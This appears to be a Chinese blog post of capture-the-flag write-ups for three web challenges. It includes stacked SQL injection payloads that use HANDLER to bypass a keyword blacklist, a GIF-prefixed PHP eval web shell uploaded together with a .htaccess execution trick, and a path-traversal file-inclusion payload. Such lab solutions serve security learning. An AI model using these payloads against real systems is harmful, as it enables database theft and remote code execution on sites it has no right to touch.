1.18

[GYCTF2020]Blacklist

首先打开题目出现一个姿势,然后我直接用'or 1=1#进行sql注入

 

然后我发现这个题目跟那个强网杯的题目很像。

然后我直接用强网杯的思路来做做试试。

于是我直接payload:

';show databases;#

得到了数据库

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

发现成功了,然后我直接继续找table

于是我直接payload:

';show tables;#
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

然后直接先查FlagHere那个,payload:

';desc `FlagHere`;#

根据那个'or 1=1#应该对应select concat(id,data) from *;之类的

于是我尝试用rename来操作,结果出现了

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

rename 和 prepare 都是被屏蔽的,所以这个题目跟强网杯那个题目不一样,不能通过改名和预定义sql语句来进行操作。

于是我找度娘,发现还有一种用handler来进行操作


知识:

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

 


于是直接payload:

';handler FlagHere open;handler FlagHere read first;#

就可以得到flag

flag{cba7b190-314e-4dbf-981a-10222d65529a}

[GXYCTF2019]BabyUpload

这个题目很常见是一个文件上传的题目

首先直接上传一个图片木马1.jpg(内容不能<?php eval($_POST['cmd']);>在这个题目中被屏蔽了)

GIF89a
<script language="php">eval($_POST['cmd']);</script>

然后上传一个.htaccess文件来使得图片以php形式执行

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

然后在通过bp进行抓包改文件类型为图片,然后在通过蚁剑链接就可以了。

[HCTF 2018]WarmUp

首先打开页面出现一张滑稽脸,然后按F12查看源代码发现里面有:

<!--source.php-->

然后直接输入在地址栏加上一个source.php

进入到了如下:

<?php
   highlight_file(__FILE__);
   class emmm
  {
       public static function checkFile(&$page)
      {
           $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
           if (! isset($page) || !is_string($page)) {
               echo "you can't see it";
               return false;
          }

           if (in_array($page, $whitelist)) {
               return true;
          }

           $_page = mb_substr(
               $page,
               0,
               mb_strpos($page . '?', '?')
          );
           if (in_array($_page, $whitelist)) {
               return true;
          }

           $_page = urldecode($page);
           $_page = mb_substr(
               $_page,
               0,
               mb_strpos($_page . '?', '?')
          );
           if (in_array($_page, $whitelist)) {
               return true;
          }
           echo "you can't see it";
           return false;
      }
  }

   if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
  ) {
       include $_REQUEST['file'];
       exit;
  } else {
       echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  }  
?>

首先根据代码

if (in_array($page, $whitelist))

很明显file里面必须要有source.php或者hint.php中一个。

payload:

?file=hint.php

 

得到了flag在的位置

$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置

这段代码意思就是比如说我原本

$page=ab?cde

然后把'ab'赋值给$_page

最终payload为

source.php?file=source.php?../../../../../ffffllllaaaagggg

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2022-01-18 23:13  FPointmaple  阅读(155)  评论(0)    收藏  举报